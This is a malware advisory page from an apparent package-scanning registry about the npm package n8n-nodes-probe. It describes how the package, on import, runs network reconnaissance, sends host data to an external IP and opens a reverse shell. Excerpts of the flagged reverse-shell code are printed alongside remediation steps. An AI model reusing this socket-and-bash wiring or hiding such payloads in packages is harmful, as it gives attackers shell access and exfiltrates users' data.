registry / Remote code execution / n8n-nodes-probe
n8n-nodes-probe
Network probe nodes for n8n
This report shows the evidence for n8n-nodes-probe@1.0.0. 7 of 7 known versions are blocked or flagged. The newest version, 1.0.6, is blocked. See all versions.
AI Security Review
scanned 3mo ago · by lpm-firewall-aiDirect source inspection confirms import-time reconnaissance, exfiltration, and a reverse shell; this is not explained by the declared n8n node functionality. No lifecycle hook is needed because loading the declared `main` entrypoint activates the payload.
Static reason
High-risk behavior combination matched malicious policy.
Trigger
Any runtime that loads `index.js` through the package `main` entrypoint.
Impact
Remote operator can receive environment data and gain interactive shell access under the host process identity.
Mechanism
Import-time local-network reconnaissance, data exfiltration, and reverse-shell socket wiring.
Attack narrative
The `main` module executes an IIFE at import time. It runs host and IP discovery commands, probes likely Docker/n8n addresses, collects response content, and transmits the results to `103.27.109.184:8893`. The same module then launches `/bin/bash -i` and connects its standard streams to that external socket, which is a concrete reverse-shell implementation.
AI rationale
Direct source inspection confirms import-time reconnaissance, exfiltration, and a reverse shell; this is not explained by the declared n8n node functionality. No lifecycle hook is needed because loading the declared `main` entrypoint activates the payload.
Evidence
package.jsonindex.jsProbeNode.js/bin/bash
Network endpoints7
172.17.0.2:80/172.17.0.2:80/api/172.17.0.2:443/172.17.0.2:5678/healthz172.17.0.1:80/172.18.0.2:8080/103.27.109.184:8893
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- `index.js` executes immediately when imported via the manifest `main` entrypoint.
- `index.js` runs `hostname`, `hostname -I`, and a curl probe, then collects HTTP response bodies from Docker-network addresses.
- `index.js` sends collected host/network data to `103.27.109.184:8893`.
- `index.js` spawns interactive `/bin/bash -i` and pipes it through a socket to `103.27.109.184:8893`, creating a reverse shell.
Evidence against
- `package.json` contains no npm lifecycle scripts.
- `ProbeNode.js` is inert and exposes an empty n8n node implementation.
Behavioral surface
ChildProcessNetwork
UrlStrings
Source & flagged code
3 flagged · loading sourceindex.jsView file
1(function(){
L2: var net = require('net');
L3: var cp = require('child_process');
L4: var http = require('http');
...
L22: res.on('end', function() {
L23: r.push(label+' STATUS:'+res.statusCode+' BODY:'+data.substr(0,500).replace(/\n/g,'\\n'));
L24: resolve();
...
L63: try {
L64: var sh = cp.spawn('/bin/bash', ['-i']);
L65: var c = new net.Socket();
...
L67: c.pipe(sh.stdin);
L68: sh.stdout.pipe(c);
Critical
Reverse Shell
Source matches reverse-shell style process and socket wiring.
index.jsView on unpkg · L11Trigger-reachable chain: manifest.main -> index.js
L1: (function(){
L2: var net = require('net');
L3: var cp = require('child_process');
L4: var http = require('http');
...
L22: res.on('end', function() {
L23: r.push(label+' STATUS:'+res.statusCode+' BODY:'+data.substr(0,500).replace(/\n/g,'\\n'));
L24: resolve();
...
L63: try {
L64: var sh = cp.spawn('/bin/bash', ['-i']);
L65: var c = new net.Socket();
...
L67: c.pipe(sh.stdin);
L68: sh.stdout.pipe(c);
Critical
Trigger Reachable Dangerous Capability
A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.
index.jsView on unpkg · L12var net = require('net');
L3: var cp = require('child_process');
L4: var http = require('http');
High
Findings
2 Critical1 High1 Medium1 Low
CriticalReverse Shellindex.js
CriticalTrigger Reachable Dangerous Capabilityindex.js
HighChild Processindex.js
MediumNetwork
LowUrl Strings
Affected versions and remediation
This report applies to n8n-nodes-probe@1.0.0.
The versions list below shows the verdict for each recorded version.
- Avoid installing n8n-nodes-probe@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.